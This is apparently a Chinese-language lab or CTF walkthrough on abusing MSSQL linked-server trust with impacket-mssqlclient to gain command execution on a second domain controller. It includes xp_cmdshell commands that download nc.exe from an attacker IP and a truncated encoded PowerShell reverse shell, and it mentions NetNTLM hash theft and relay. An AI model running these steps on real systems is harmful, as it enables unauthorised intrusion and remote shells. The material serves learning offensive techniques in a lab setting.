如果用户有权限访问 MSSQL 实例,他可能利用它在 MSSQL 主机上执行命令(如果以 SA 身份运行)、窃取NetNTLM hash,甚至执行 relay attack。
另外,如果一个 MSSQL 实例被另一个 MSSQL 实例信任(database link),且用户对被信任的数据库拥有权限,那么他将能够利用信任关系在其他实例上也执行查询。这些信任关系可以链式相连,最终用户可能找到一个配置错误的数据库并在其上执行命令。
数据库之间的链接甚至可以跨越 forest trusts。
这里有两款利用工具,两者都差不多
【mssql】MSSqlPwner 不好用
impacket-mssqlclient 推荐👍
这里就只讲用 impacket-mssqlclient
1:先用 enum_links
枚举是否有链接服务器(跨域信任关系)
- 这里有一个指向
DC02.darkzero.ext
的链接服务器- 在
DC01
上的用户为darkzero\john.w
,切换到DC02
后继承dc01_sql_svc
的权限
2: 切换到链接服务器
这一步主要目的是为获取一个立足点,利用的是这个数据库的配置不当(如这里 john.w
用户在DC01的mssql的角色为 guest
但在 DC02
的mssql服务上的角色是 SA
)
use_link [DC02.darkzero.ext]
3:提权执行命令反弹shell
enable_xp_cmdshel
xp_cmdshell ipconfig
#下文件
EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://10.10.14.14/nc.exe -Outfile c:\\users\public\nc.exe"'
#弹shell
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGU...
后续就是进行信息收集然后根据情况而定